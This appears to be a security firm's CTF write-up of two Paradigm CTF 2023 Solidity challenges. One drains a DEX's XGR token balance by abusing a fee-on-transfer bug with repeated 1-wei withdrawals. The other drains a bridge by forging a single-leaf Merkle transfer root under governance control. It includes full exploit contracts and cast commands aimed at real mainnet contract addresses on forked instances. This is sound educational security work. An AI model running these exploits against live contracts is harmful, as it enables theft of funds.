At Paradigm CTF 2023, I found myself facing some interesting and creative challenges. This post will give an in-depth rundown on how I solved two of those challenges: Grains of Sand and Hopping Into Place.
Grains of Sand
At what point does it stop being a heap?
I worked on this challenge with fellow Zellic security researcher and auditor, Ayaz (@dynapate↗). You can find the challenge files here↗.
The challenge contract is pretty simple:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract Challenge {
IERC20 private immutable TOKEN = IERC20(0xC937f5027D47250Fa2Df8CbF21F6F88E98817845);
address private immutable TOKENSTORE = 0x1cE7AE555139c5EF5A57CC8d814a867ee6Ee33D8;
uint256 private immutable INITIAL_BALANCE;
constructor() {
INITIAL_BALANCE = TOKEN.balanceOf(TOKENSTORE);
}
function isSolved() external view returns (bool) {
return INITIAL_BALANCE - TOKEN.balanceOf(TOKENSTORE) >= 11111e8;
}
}
It gets initialized with two addresses in storage, TOKENSTORE
and TOKEN
. Looking at the deployment script in script/Deploy.s.sol, these contracts are not deployed by the challenge, so they must be hosted somewhere.
The isSolved()
function is used by the challenge endpoint to determine if we’ve solved the challenge. It tells us that we need to find a way to drain at least 11111e8 tokens from the TOKENSTORE contract in order to receive the flag.
Based on the name of the challenge, we had some idea that we might need to drain it little by little, like grains of sand falling down through the neck of an hourglass.
The Contracts
Looking at challenge.py
, we know that the challenge forks Ethereum at block 18_437_825
, so both TOKENSTORE and TOKEN must be contracts that are deployed on Ethereum at those specified addresses:
# [ ... ]
return client.create_instance(
CreateInstanceRequest(
id=self.team,
instances={
"main": LaunchAnvilInstanceArgs(
balance=1000,
fork_url=ETH_RPC_URL,
fork_block_num=18_437_825,
),
},
)
)
# [ ... ]
The TOKEN contract is hosted here↗. This is the XGR token, and taking a look at the code, every relevant ERC-20 function just performs a delegatecall
to the contract at libAddress = 0x68c41714Bba1e3f1b708121B84A6F9CE5c6f1077
. Looking at the code in this library, we see that it implements some fee-on-transfer functionality. We’ll go into more detail about that later.
The TOKENSTORE contract (hosted here↗) on the other hand is widely known as one of the world’s first trustless DEXes. Users are able to deposit and withdraw both ETH and tokens. They are then able to place sell orders using their deposited funds. Other users can fulfill these orders using the trade()
function, effectively buying the tokens.
Context — Where Do We Look for a Bug?
We spent quite a bit of time trying to figure out which contract might have a bug. Since these are live contracts, our first instinct was to find some sell orders that we could fulfill.
The environment starts us off with 1,000 ETH, so we could fulfill a few sell orders to buy some XGR tokens, which we could subsequently withdraw out of the TOKENSTORE contract. That would hopefully allow us to reduce the XGR token balance of the contract by 11111e8.
That didn’t sound very CTF-y though, since it doesn’t require exploiting any vulnerabilities, so we decided to take a different approach. From looking at the transactions, we knew that the TOKENSTORE contract is still widely used, so we highly doubted that we’d find a vulnerability there. Taking a look at the transactions on the XGR token contract though, we noticed that it was last used over three years ago, so we decided to start looking there first.
The Bug — Fee-on-Transfer Strikes Again
After looking through the code for a while, we started focusing on the fee-on-transfer functionality and noticed this part of the code (we’re looking at the TokenLib contract hosted here↗):
function _transfer(address from, address to, uint256 amount, bool fee, bytes extraData) internal {
// [ ... ]
uint256 balance = TokenDB(databaseAddress).balanceOf(from);
uint256 lockedBalance = TokenDB(databaseAddress).lockedBalances(from);
balance = safeSub(balance, lockedBalance);
require( _amount > 0 && balance > 0 );
require( from != 0x00 && to != 0x00 );
if( fee ) {
(_success, _fee) = getTransactionFee(amount);
require( _success );
if ( balance == amount ) {
_amount = safeSub(amount, _fee);
}
}
require( balance >= safeAdd(_amount, _fee) );
if ( fee ) {
Burn(from, _fee);
}
Transfer(from, to, _amount);
Transfer2(from, to, _amount, extraData);
require( TokenDB(databaseAddress).transfer(from, to, _amount, _fee) );
}
So, when fee
is set to true
(which, in this case, it is true
in the external transfer()
function), it gets the actual fee amount using getTransactionFee(amount)
and applies it to the transfer in one of two ways:
- If the
from
user’s balance is equal to theamount
they are transferring, the fee is subtracted from theamount
. For example, if thefrom
user is transferring 10 XGR (and that’s all they have), then assuming a fee of 1 XGR, thefrom
user will end up transferring 9 XGR to theto
user. This means theto
user is paying the fee. - If the
from
user’s balance is more than theamount
, then the fee amount is directly added to theamount
, meaning thefrom
user is paying the fee.
Method 1 is the correct way to implement fee-on-transfer functionality. Using Method 2 is very bad, as it messes with any withdrawal functionality that a smart contract might choose to implement with this token. Anyone withdrawing tokens can then cause the smart contract in question to pay the fees.
Looking into getTransactionFee(amount)
, we see the following:
function getTransactionFee(uint256 value) public constant returns (bool success, uint256 fee) {
fee = safeMul(value, transactionFeeRate) / transactionFeeRateM / 100;
if ( fee > transactionFeeMax ) { fee = transactionFeeMax; }
else if ( fee < transactionFeeMin ) { fee = transactionFeeMin; }
return (true, fee);
}
Here, the fee
calculation is as follows. (You can find the fee rate and other details by reading the contract storage on chain.)
fee = (value * 20) / 1000 / 100
transactionFeeMax = 2e8
transactionFeeMin = 0.02e8
So, no matter what, a fee of 0.02e8 (i.e., 0.02 XGR) is applied on any transfers that are not full balance transfers.
Plan of Attack — How Realistic Is It?
Let’s do some math here. We need to drain 11111e8 tokens from the TOKENSTORE contract. In order to hit the maximum transaction fee of 2e8, we’d need the following amount of tokens:
value = 2e8 * 100 * 1000 / 20 = 10000e8
With a 2e8 transaction fee, we’d need to perform 11111e8 / 2e8 = 5555.5 = 5556
withdrawals of 10,000 XGR tokens. Unless we can buy 55.5 million XGR tokens (not realistic at all), we’ll have to resort to abusing the minimum transaction fee of 0.02e8 in some way.
We can now come up with an initial plan:
- Gain access to XGR by fulfilling old sell orders using our 1,000 ETH.
- Withdraw one WEI of XGR repeatedly from the TOKENSTORE contract until we’ve forced the TOKENSTORE contract to pay 11111e8 XGR tokens in fees. We’d then have met the
isSolved()
condition.
However, let’s do some math again. If we continuously withdraw 1 XGR in order to make the TOKENSTORE contract pay the 0.02e8 fee, we’ll need to withdraw 11111e8 / 0.02e8 = 555550
times. In my testing, I could withdraw ~1,000 times in a single transaction before running out of gas. At a rate of approximately eight seconds per transaction, we get
- 1,000 withdrawals =
0.02 * 1000 = 20
XGR fee every eight seconds (one transaction) 11111 / 20 = 555.55
= 556 transactions required- 556 transactions * 8 seconds = 4,448 seconds required = 74 minutes
We only have 30 minutes in the instance provided to us to solve the challenge, so we can’t drain every bit of the tokens abusing this functionality. We’d have to hope that we can buy a large enough amount of XGR tokens from the TOKENSTORE contract. That way, we only need to drain as much XGR through the fee-on-transfer bug as needed and then withdraw the rest normally.
Attack Implementation — Finding Sell Orders to Fulfill
Before I explain my method for finding sell orders to fulfill, I want to point out that there is a much easier way to do this. The Etherscan token page found here↗ has a “DEX Trades” tab that shows all trades. Ayaz found out about this after I had already finished finding the orders. This is very useful information though for the future.
I ended up using Dune↗ (also recommended by Ayaz). We know that trades will emit the Trade()
event in the TOKENSTORE contract, so I used the Dune query functionality to find a list of all transactions where a trade occurred. You can find my query here↗.
SELECT contract_address, topic0, data, tx_hash
FROM ethereum.logs
WHERE contract_address = 0x1ce7ae555139c5ef5a57cc8d814a867ee6ee33d8 AND topic0 = 0x3314c351c2a2a45771640a1442b843167a4da29bd543612311c031bbfb4ffa98 AND bytearray_position(data, 0xc937f5027d47250fa2df8cbf21f6f88e98817845) > 0 AND bytearray_substring(data, 1, 31) = 0x00000000000000000000000000000000000000000000000000000000000000
The query is matching all events on the TOKENSTORE contract and filtering on the Trade()
event specifically (using its topic0
hash). It is also ensuring a few other things:
- The XGR token contract address exists in the event-log data.
- The first 32 bytes in the event-log data are all zeros. If taking a look at the code in the TOKENSTORE contract, one may note that this corresponds to a sell order that is selling XGR tokens for ETH.
This query returns 18 results. I manually searched through the transactions myself. My goal was to find sell orders that weren’t 100% fulfilled and then fulfill it myself in order to get as much XGR as possible.
The way the trade orders are implemented is a little unintuitive. Trade orders are created off chain, where a user provides details regarding the token they’re selling and the token they’re willing to buy. All of these details are hashed as follows:
sha256(tokenStoreAddr, _tokenGet, _amountGet, _tokenGive, _amountGive, _expires, _nonce);
This hash is then signed by the user, and this signature is made public. Anyone looking to fulfill any percentage of the order can pass that same signature into the trade()
function.
Notably, the _expires
field is important. Not only would I need to find unfulfilled trade orders, I’d have to find ones that haven’t expired yet.
After manually looking through every transaction, I found two candidates:
- Candidate 1↗ — 100 XGR sold, 2,000 XGR up for sale total
- Candidate 2↗ — 1,000 XGR sold, 10,000 XGR up for sale total
So, if we can fulfill both these orders, we’d have access to 10,900 XGR total (because we have to take away the amount of XGR that was already sold in those transactions). That would then require us to abuse the fee-on-transfer functionality to drain 11111 - 10900 = 211
XGR.
At a rate of 20 XGR per transaction (discussed above), that would take 11 transactions = ~88 seconds. After that, we can just withdraw the rest of the tokens from the TOKENSTORE contract and solve the challenge.
Attack Implementation — Fulfilling the Sell Orders
The full Solidity script can be seen further below.
I first modified my foundry.toml to add the following:
[rpc_endpoints]
challenge_rpc = "http://grains-of-sand.challenges.paradigm.xyz:8545/8e3ec53e-af61-4c7e-98c8-b074e8563535/main"
This lets me use cast send ... --rpc-url challenge_rpc
to execute transactions using the challenge RPC, which is very useful. It removes the need to copy and paste the RPC URL every time.
I then copied the parameters from each of the trade()
calls from the transactions above into a contract. The only thing that needs to be changed is the very last argument. I took the amount that the original user purchased and simply subtracted it from the amount that was up for sale. This lets us fulfill the remainder of the order, getting as much XGR as possible:
function fillOrder1() external payable {
// send 84000000000000000 wei
store.deposit{value: msg.value}();
store.trade(
address(0),
84000000000000000,
0xC937f5027D47250Fa2Df8CbF21F6F88E98817845,
200000000000,
108142282,
470903382,
0xa219Fb3CfAE449F6b5157c1200652cc13e9c9EA8,
28,
0xf164a3e185694dadeb11a9e9e7371929675d2eb2a6e9daa4508e96bc81741018,
0x314f3b6d5ce7c3f396604e87373fe4fe0a10bef597287d840b942e57595cb29a,
79800000000000000 // 84000000000000000 - 4200000000000000
);
}
function fillOrder2() external payable {
// send 42468000000000000 wei
store.deposit{value: msg.value}();
store.trade(
address(0),
42468000000000000,
0xC937f5027D47250Fa2Df8CbF21F6F88E98817845,
1000000000000,
109997981,
249363390,
0x6FFacaa9A9c6f8e7CD7D1C6830f9bc2a146cF10C,
28,
0x2b80ada8a8d94ed393723df8d1b802e1f05e623830cf117e326b30b1780ae397,
0x65397616af0ec4d25f828b25497c697c58b3dcc852259eaf7c72ff487ce76e1e,
38221200000000000 // 42468000000000000 - 4246800000000000
);
}
I first compiled and deployed the above contract as follows:
$ forge create --rpc-url challenge_rpc --private-key 0x4cbcede243030cc8fb7ecc6dd1397cdb8505bd12c69526b57f767c0fa8f213e3 src/Solve.sol:Solve
Then, I used cast
to call each function, sending the required amount of ETH as well:
$ cast send --private-key 0xfc260ea7f3e5245f2e59f84fa9185e109165146a065557c7e81866f02e296ae3 --rpc-url challenge_rpc 0xdfF68528eCDb86f73853354Ceb5bD3c98f0BebE2 "fillOrder1()" --value 84000000000000000
$ cast send --private-key 0xfc260ea7f3e5245f2e59f84fa9185e109165146a065557c7e81866f02e296ae3 --rpc-url challenge_rpc 0xdfF68528eCDb86f73853354Ceb5bD3c98f0BebE2 "fillOrder2()" --value 42468000000000000
After the orders were fulfilled, it was time to abuse the fee-on-transfer functionality with our newly owned 10,900 XGR tokens.
Attack Implementation — Putting It All Together
I wrote the following function to withdraw 1 WEI of XGR 1,000 times in a loop. This effectively causes the TOKENSTORE contract to pay 20e8 XGR tokens in fees in a single transaction:
// Run this 11 times
function exploitFee() external {
for (int i = 0; i < 1000; i++) {
store.withdrawToken(0xC937f5027D47250Fa2Df8CbF21F6F88E98817845, 1);
}
}
I then wrote a bash script that called this function in a loop 11 times, which drains 220 XGR tokens:
#!/bin/sh
for i in {0..11}
do
cast send --rpc-url challenge_rpc 0xdfF68528eCDb86f73853354Ceb5bD3c98f0BebE2 "exploitFee()" --private-key 0xfc260ea7f3e5245f2e59f84fa9185e109165146a065557c7e81866f02e296ae3
done
Afterwards, I withdrew the rest of the tokens using the following function. This will have drained 10,900 + 220 = 11,120
XGR tokens, which is enough to solve the challenge.
function withdrawToken() external {
uint256 balance = store.tokens(token, address(this));
store.withdrawToken(
0xC937f5027D47250Fa2Df8CbF21F6F88E98817845,
balance
);
}
$ cast send --private-key 0xfc260ea7f3e5245f2e59f84fa9185e109165146a065557c7e81866f02e296ae3 --rpc-url challenge_rpc 0xdfF68528eCDb86f73853354Ceb5bD3c98f0BebE2 "withdrawToken()"
And the challenge was solved!
Flag: PCTF{f33_70K3nS_cauS1n9_pR08L3Ms_a9a1N}
The full solve script is shown at the bottom of this post here.
Hopping Into Place
A hacker has deposited stolen funds onto your bridge and the victim is asking for your help! Is there any way you can get it back?
The challenge contract is shown below. Check out the provided challenge files here↗.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
contract Challenge {
address public immutable BRIDGE;
constructor(address bridge) {
BRIDGE = bridge;
}
function isSolved() external view returns (bool) {
return BRIDGE.balance == 0;
}
}
Based on the description and the isSolved()
condition, we need to find a way to drain the bridge contract.
Here, we get more information from the Deploy.s.sol script too:
function deploy(
address system,
address player
) internal override returns (address challenge) {
address governance = BRIDGE.governance();
vm.startBroadcast(system);
payable(governance).transfer(1 ether);
BRIDGE.sendToL2{value: 900 ether}(
10,
system,
900 ether,
0,
0,
address(0x00),
0
);
challenge = address(new Challenge(address(BRIDGE)));
vm.stopBroadcast();
vm.startBroadcast(governance);
BRIDGE.setGovernance(player);
vm.stopBroadcast();
}
The important thing we learn here is that we have the same privileges as the governance entity. Let’s see what we can do with this power.
The actual bridge contract can be found here↗ on the mainnet.
Context — Where Do We Start?
Unlike the XGR token contract in Grains of Sand, this bridge contract is an actual live contract that’s very often used; therefore, it’s very unlikely that we’re supposed to abuse a bug in the contract itself.
My suspicion was that there was a series of actions the governance entity could perform that lets them drain all ETH in the bridge contract. Let’s take a look at the functions that are marked with the onlyGovernance
modifier:
setGovernance()
setCrossDomainMessengerWrapper()
setChainIdDepositsPaused()
setChallengePeriod()
setChallengeResolutionPeriod()
setMinTransferRootBondDelay()
rescueTransferRoot()
addBonder()
removeBonder()
I then spent a bit of time reading through the entire contract to understand how it works. This understanding is required to figure out what series of steps I’d need to take to drain the bridge.
This bridge contract is the L1 bridge contract. The contract keeps track of L2 chain bridge contract balances through the chainBalance
mapping, which maps chain IDs to balance amounts:
mapping(uint256 => uint256) public chainBalance;
The key points behind how the L2 → L1 transfer functionality works are as follows:
- A user triggers an L2 → L1 transfer.
- A trusted crossDomainMessenger contract (set through governance) calls
confirmTransferRoot()
with the relevant details of the transfer. Notably, arootHash
and atotalAmount
is passed into this function. TherootHash
is used to determine the correct recipient on L1 and the correct amount that the recipient can withdraw (as well as a few other things that are not relevant to this challenge). - The recipient can now call
withdraw()
with therootHash
,totalAmount
, and other details. Thewithdraw()
function will verify that the recipient is intended to receive these funds and then transfer the funds to them.
The L1 → L2 transfer functionality is not relevant to this challenge.
Coming Up With a Plan
After thinking for a bit, my plan was to trick the bridge into thinking that a cross-chain ETH transfer was sent from another chain. The amount of ETH that is being transferred would equal the amount of ETH that is currently in the bridge contract. That way, we can then withdraw all the ETH from the contract.
I noticed that as a crossDomainMessenger, the only check in confirmTransferRoot()
that we can’t trivially bypass is the chainBalance
check. It subtracts the amount that is being transferred from the chainBalance
mapping of the foreign chain. If the subtraction overflows, the transaction reverts:
function confirmTransferRoot(
// [ ... ]
)
external
onlyL2Bridge(originChainId)
{
// [ ... ]
chainBalance[originChainId] = chainBalance[originChainId].sub(totalAmount, "L1_BRG: Amount exceeds chainBalance. This indicates a layer-2 failure.");
// [ ... ]
}
So, the first thing I did was use Dune↗ to check if the balance of every foreign chain that is mapped in chainBalance
adds up to the amount of ETH stored in the bridge contract. If that was the case, then I would confirm transfers for every chain ID to withdraw the entire balance of each foreign chain.
Of course, things are never that easy, and after adding up the balances of all foreign chains, it was nowhere near enough to drain the bridge.
I now knew that I had to find a way to add to a chain ID’s balance. I’d also need to do this without actually spending any ETH because the 1,000 ETH that we started with was nowhere near enough.
Plan of Attack — Increasing the Balance of a Chain Without Paying
Looking for instances of chainBalance[chainId].add()
, we see two in the following functions:
sendToL2()
_distributeTransferRoot()
First, sendToL2()
is out of the question, as it has a msg.value == amount
check prior to adding it to the chainBalance
for the remote chain.
Looking at _distributeTransferRoot()
, I noticed that it’s called by confirmTransferRoot()
and bondTransferRoot()
. For one, confirmTransferRoot()
was also out of the question as the call happens after the balance is subtracted. However, bondTransferRoot()
was an interesting candidate.
function bondTransferRoot(
bytes32 rootHash,
uint256 destinationChainId,
uint256 totalAmount
) external onlyBonder requirePositiveBalance
{
bytes32 transferRootId = getTransferRootId(rootHash, totalAmount);
require(transferRootCommittedAt[destinationChainId][transferRootId] == 0, "L1_BRG: TransferRoot has already been confirmed");
require(transferBonds[transferRootId].createdAt == 0, "L1_BRG: TransferRoot has already been bonded");
uint256 currentTimeSlot = getTimeSlot(block.timestamp);
uint256 bondAmount = getBondForTransferAmount(totalAmount);
timeSlotToAmountBonded[currentTimeSlot][msg.sender] = timeSlotToAmountBonded[currentTimeSlot][msg.sender].add(bondAmount);
transferBonds[transferRootId] = TransferBond(
// [ ... ]
);
_distributeTransferRoot(rootHash, destinationChainId, totalAmount);
emit TransferRootBonded(rootHash, totalAmount);
}
Now I admit that I don’t fully understand how this bond functionality works, but what I do understand is that bonders are privileged users that are able to stake ETH on the bridge. This allows them to put this staked ETH up as collateral, increasing the balance of ETH on the destinationChainId
chain in the process.
The onlyBonder
modifier means this function can only be called by a bonder. We can make ourselves a bonder through the setBonder()
function, which is callable by the governance entity.
The other modifier is requirePositiveBalance
, which is as follows:
modifier requirePositiveBalance {
_;
require(getCredit(msg.sender) >= getDebitAndAdditionalDebit(msg.sender), "ACT: Not enough available credit");
}
After bondTransferRoot()
finishes executing, this modifier checks to ensure that the bonder has enough ETH staked to put up as collateral. This was, again, a problem for us, because we didn’t have enough ETH to stake in order to drain the bridge. Since we were running out of solutions, we should check to see if there was a way to bypass these checks.
The getCredit()
function simply tracks the amount of ETH staked by the bonder (zero in our case, as we weren’t staking anything). The getDebitAndAdditionalDebit()
function is implemented as follows:
function getDebitAndAdditionalDebit(address bonder) public view returns (uint256) {
return _debit[bonder].add(_additionalDebit(bonder));
}
function _additionalDebit(address bonder) internal view override returns (uint256) {
uint256 currentTimeSlot = getTimeSlot(block.timestamp);
uint256 bonded = 0;
uint256 numTimeSlots = challengePeriod / TIME_SLOT_SIZE;
for (uint256 i = 0; i < numTimeSlots; i++) {
bonded = bonded.add(timeSlotToAmountBonded[currentTimeSlot - i][bonder]);
}
return bonded;
}
The _debit[bonder]
would return zero in our case (since we would have just become a bonder), so that works out. However, _additionalDebit(bonder)
in its current state with a challengePeriod
of 24 hours would return a value higher than zero.
However, since we were the governance entity, we could call setChallengePeriod()
:
function setChallengePeriod(uint256 _challengePeriod) external onlyGovernance {
require(_challengePeriod % TIME_SLOT_SIZE == 0, "L1_BRG: challengePeriod must be divisible by TIME_SLOT_SIZE");
challengePeriod = _challengePeriod;
}
This function allows us to set the challenge period to zero, which would cause _additionalDebit(bonder)
to also return zero in our case.
Attack Implementation — Increasing the Balance of a Chain Without Paying
We finally had a way to increase the chain balance of an arbitrary chain without spending any ETH:
- Make ourselves the
crossDomainMessenger
for a nonexistent chain. This chain will start off with achainBalance
of zero. Let’s use chain ID 1337. - Make ourselves a bonder.
- Set the challenge period to 0.
- Call
bondTransferRoot()
with a nonexistentrootHash
, the nonexistentdestinationChainId
, andtotalAmount == address(bridge).balance
.
The initial part of my script was as follows:
function solve() external {
// We become the L2 bridge contract for chain ID 1337
bridge.setCrossDomainMessengerWrapper(
1337,
IMessengerWrapper(address(this))
);
// We become a bonder
bridge.addBonder(address(this));
// Set challenge period to 0. This bypasses the requirePositiveBalance()
// modifier (check the code to see why)
bridge.setChallengePeriod(0);
// Fake add all bridge balance to chain ID 1337 chainBalance so we can
// fake the transferRootHash afterwards
bridge.bondTransferRoot(
bytes32(uint256(0xdead)),
1337,
address(bridge).balance
);
// [ ... ]
}
Note that it is needed to transfer governance to the contract after deploying it, like this:
# Deployed at 0xdeadbeef
$ forge create --rpc-url challenge_rpc --private-key <priv_key> src/Solve.sol:Solve
$ cast send --rpc-url challenge_rpc --private-key <priv_key> 0xb8901acB165ed027E32754E0FFe830802919727f "setGovernance(address)" 0xdeadbeef
Now that we have enough balance at chain ID 1337 to withdraw, let’s work on spoofing an L2 → L1 transfer.
Plan of Attack — Spoofing an L2 → L1 Transfer
The confirmTransferRoot()
function is simple. The only verification it does is to ensure that the remote chain has enough balance to fulfill this transfer. It will then store the rootHash
into the _transferRoots
mapping. The totalAmount
of tokens that are passed in are tracked with this stored rootHash
and later subtracted when the recipient
withdraws the funds.
The real challenge with spoofing the transfer is in the rootHash
verification within the withdraw()
function:
function withdraw(
// [ ... ]
) external nonReentrant
{
bytes32 transferId = getTransferId(
getChainId(),
recipient,
amount,
transferNonce,
bonderFee,
amountOutMin,
deadline
);
require(
rootHash.verify(
transferId,
transferIdTreeIndex,
siblings,
totalLeaves
)
, "BRG: Invalid transfer proof");
bytes32 transferRootId = getTransferRootId(rootHash, transferRootTotalAmount);
_addToAmountWithdrawn(transferRootId, amount);
_fulfillWithdraw(transferId, recipient, amount, uint256(0));
emit Withdrew(transferId, recipient, amount, transferNonce);
}
The getTransferId()
function simply packs all the arguments together and hashes it. The rootHash.verify()
is as follows:
function verify(
bytes32 _root,
bytes32 _leaf,
uint256 _index,
bytes32[] memory _siblings,
uint256 _totalLeaves
) internal pure returns (bool)
{
require(_totalLeaves > 0, "Lib_MerkleTree: Total leaves must be greater than zero.");
require(_index < _totalLeaves, "Lib_MerkleTree: Index out of bounds.");
require(_siblings.length == _ceilLog2(_totalLeaves), "Lib_MerkleTree: Total siblings does not correctly correspond to total leaves.");
bytes32 computedRoot = _leaf;
for (uint256 i = 0; i < _siblings.length; i++) {
// [ ... ]
}
return _root == computedRoot;
}
Here, the _root
argument is the rootHash
that the caller of the withdraw()
function provides above. This hash must have been confirmed by the crossDomainMessenger
through confirmTransferRoot()
prior to the call to withdraw()
.
The _leaf
argument is the transferId
that is computed using getTransferId()
in withdraw()
.
I commented out the for loop for a reason. Take a look at the require
statements and remember that we control _index
, _siblings
, and _totalLeaves
. Notice anything interesting?
We can bypass the for loop completely by setting _index
to 0, _totalLeaves
to 1, and _siblings
to an empty array. This effectively causes computedRoot
to become the same as _leaf
, allowing us to pass verification so long as the computed _leaf
(which is the transferId
from getTransferId()
) matches the rootHash
that was confirmed earlier.
Since we were the crossDomainMessenger, we could confirm whatever rootHash
we want and pass the same details into the withdraw()
function to withdraw the confirmed transfer.
Attack Implementation — Spoofing an L2 → L1 Transfer
Within our attack contract, our goal was to spoof the rootHash
as follows.
bytes32 rootHash = keccak256(
abi.encode(
1, // destination chain ID
address(this), // recipient
address(bridge).balance, // amount
bytes32(uint256(1)), // transferNonce
0, // bonderFee
0, // amountOutMin
0 // deadline
)
);
Then, we could confirm this rootHash
:
bridge.confirmTransferRoot(
1337, // originChainId
rootHash, // rootHash
1, // destinationChainId
address(bridge).balance, // totalAmount
1 // rootCommittedAt
);
Finally, we could call withdraw()
with the exact same arguments as used in the spoofed rootHash
:
bytes32[] memory siblings = new bytes32[](0);
bridge.withdraw(
address(this), // recipient
address(bridge).balance, // amount
bytes32(uint256(1)), // transferNonce
0, // bonderFee
0, // amountOutMin
0, // deadline
rootHash, // rootHash
address(bridge).balance, // transferRootTotalAmount
0, // transferIdTreeIndex
siblings, // siblings
1 // totalLeaves
);
The withdraw()
function will now compute the transferId
using the same arguments as was used to compute the spoofed rootHash
. It will then compare the two, pass verification, and then transfer out all the ETH in the bridge to our contract.
I deployed the script in the same way as in the Grains of Sand challenge and ran it as follows:
# Deployed at 0x3B36380540b62B25f84BF91385dD78198f20ce1F
$ forge create --rpc-url challenge_rpc --private-key 0xc72d05d7840cf0a96ce0e2f3b8e6d02a9868cb97ca44caa230983d45c44b393f src/Solve.sol:Solve
# Need to transfer governance manually to our contract first
$ cast send --private-key 0xc72d05d7840cf0a96ce0e2f3b8e6d02a9868cb97ca44caa230983d45c44b393f 0xb8901acB165ed027E32754E0FFe830802919727f "setGovernance(address)" 0x3B36380540b62B25f84BF91385dD78198f20ce1F --rpc-url challenge_rpc
$ cast send --private-key 0xc72d05d7840cf0a96ce0e2f3b8e6d02a9868cb97ca44caa230983d45c44b393f 0x3B36380540b62B25f84BF91385dD78198f20ce1F "solve()" --rpc-url challenge_rpc
And with that, the bridge was drained, and the challenge was solved.
Flag: PCTF{90v3rNANc3_Unm1n1m12At10n}
The full solve script is shown at the bottom of this post here.
Full Solution — Grains of Sand
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
interface TOKENSTORE {
function trade(
address _tokenGet,
uint _amountGet,
address _tokenGive,
uint _amountGive,
uint _expires,
uint _nonce,
address _user,
uint8 _v,
bytes32 _r,
bytes32 _s,
uint _amount
) external;
function withdrawToken(address, uint) external;
function deposit() external payable;
function tokens(address, address) external returns (uint256);
}
contract Solve {
TOKENSTORE store = TOKENSTORE(0x1cE7AE555139c5EF5A57CC8d814a867ee6Ee33D8);
function fillOrder1() external payable {
// send 84000000000000000 wei
store.deposit{value: msg.value}();
store.trade(
address(0),
84000000000000000,
0xC937f5027D47250Fa2Df8CbF21F6F88E98817845,
200000000000,
108142282,
470903382,
0xa219Fb3CfAE449F6b5157c1200652cc13e9c9EA8,
28,
0xf164a3e185694dadeb11a9e9e7371929675d2eb2a6e9daa4508e96bc81741018,
0x314f3b6d5ce7c3f396604e87373fe4fe0a10bef597287d840b942e57595cb29a,
79800000000000000 // 84000000000000000 - 4200000000000000
);
}
function fillOrder2() external payable {
// send 42468000000000000 wei
store.deposit{value: msg.value}();
store.trade(
address(0),
42468000000000000,
0xC937f5027D47250Fa2Df8CbF21F6F88E98817845,
1000000000000,
109997981,
249363390,
0x6FFacaa9A9c6f8e7CD7D1C6830f9bc2a146cF10C,
28,
0x2b80ada8a8d94ed393723df8d1b802e1f05e623830cf117e326b30b1780ae397,
0x65397616af0ec4d25f828b25497c697c58b3dcc852259eaf7c72ff487ce76e1e,
38221200000000000 // 42468000000000000 - 4246800000000000
);
}
// Run this 11 times
function exploitFee() external {
for (int i = 0; i < 1000; i++) {
store.withdrawToken(0xC937f5027D47250Fa2Df8CbF21F6F88E98817845, 1);
}
}
function withdrawToken() external {
uint256 balance = store.tokens(token, address(this));
store.withdrawToken(
0xC937f5027D47250Fa2Df8CbF21F6F88E98817845,
balance
);
}
receive() external payable {}
}
Full Solution — Hopping Into Place
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/console.sol";
interface IMessengerWrapper {}
interface BridgeLike {
function sendToL2(
uint256 chainId,
address recipient,
uint256 amount,
uint256 amountOutMin,
uint256 deadline,
address relayer,
uint256 relayerFee
) external payable;
function governance() external view returns (address);
function setGovernance(address) external;
function setCrossDomainMessengerWrapper(
uint256 chainId,
IMessengerWrapper _crossDomainMessengerWrapper
) external;
function confirmTransferRoot(
uint256 originChainId,
bytes32 rootHash,
uint256 destinationChainId,
uint256 totalAmount,
uint256 rootCommittedAt
) external;
function addBonder(address bonder) external;
function bondTransferRoot(
bytes32 rootHash,
uint256 destinationChainId,
uint256 totalAmount
) external;
function stake(address bonder, uint256 amount) external payable;
function getCredit(address) external returns (uint256);
function getDebitAndAdditionalDebit(address) external returns (uint256);
function setChallengePeriod(uint256) external;
function withdraw(
address recipient,
uint256 amount,
bytes32 transferNonce,
uint256 bonderFee,
uint256 amountOutMin,
uint256 deadline,
bytes32 rootHash,
uint256 transferRootTotalAmount,
uint256 transferIdTreeIndex,
bytes32[] calldata siblings,
uint256 totalLeaves
) external;
}
contract Solve {
BridgeLike bridge = BridgeLike(0xb8901acB165ed027E32754E0FFe830802919727f);
// Must manually `setGovernance(this_contract);` first
function solve() external {
// We become the L2 bridge for chain Id 1337
bridge.setCrossDomainMessengerWrapper(
1337,
IMessengerWrapper(address(this))
);
// We become a bonder
bridge.addBonder(address(this));
// Set challenge period to 0. This bypasses the requirePositiveBalance()
// modifier (check the code to see why)
bridge.setChallengePeriod(0);
// Fake add all bridge balance to chain ID 1337 chainBalance so we can
// fake the transferRootHash afterwards
bridge.bondTransferRoot(
bytes32(uint256(0xdead)),
1337,
address(bridge).balance
);
// Spoof a transfer root hash
bytes32 rootHash = keccak256(
abi.encode(
1, // destination chain ID
address(this), // recipient
address(bridge).balance, // amount
bytes32(uint256(1)), // transferNonce
0, // bonderFee
0, // amountOutMin
0 // deadline
)
);
bridge.confirmTransferRoot(
1337, // originChainId
rootHash, // rootHash
1, // destinationChainId
address(bridge).balance, // totalAmount
1 // rootCommittedAt
);
bytes32[] memory siblings = new bytes32[](0);
// Withdraw everything, all arguments should match the rootHash calculation
// above.
// set totalLeaves to 1 and siblings to an empty array, this will cause
// rootHash to match the calculated rootHash within withdraw()
bridge.withdraw(
address(this), // recipient
address(bridge).balance, // amount
bytes32(uint256(1)), // transferNonce
0, // bonderFee
0, // amountOutMin
0, // deadline
rootHash, // rootHash
address(bridge).balance, // transferRootTotalAmount
0, // transferIdTreeIndex
siblings, // siblings
1 // totalLeaves
);
}
// These functions are required because our contract becomes the
// crossDomainMessenger and thus must handle these calls
function sendCrossDomainMessage(bytes memory) external {}
function verifySender(address, bytes memory) external {}
receive() external payable {}
}
Conclusion
I had a lot of fun participating in Paradigm CTF this year. Huge props to the challenge authors — it takes a lot of work to come up with such creative and interesting challenges.
Also a big shoutout to samczsun for solo carrying the CTF infrastructure — that arguably might have been the hardest challenge in the competition!
About Us
Zellic specializes in securing emerging technologies. Our security researchers have uncovered vulnerabilities in the most valuable targets, from Fortune 500s to DeFi giants.
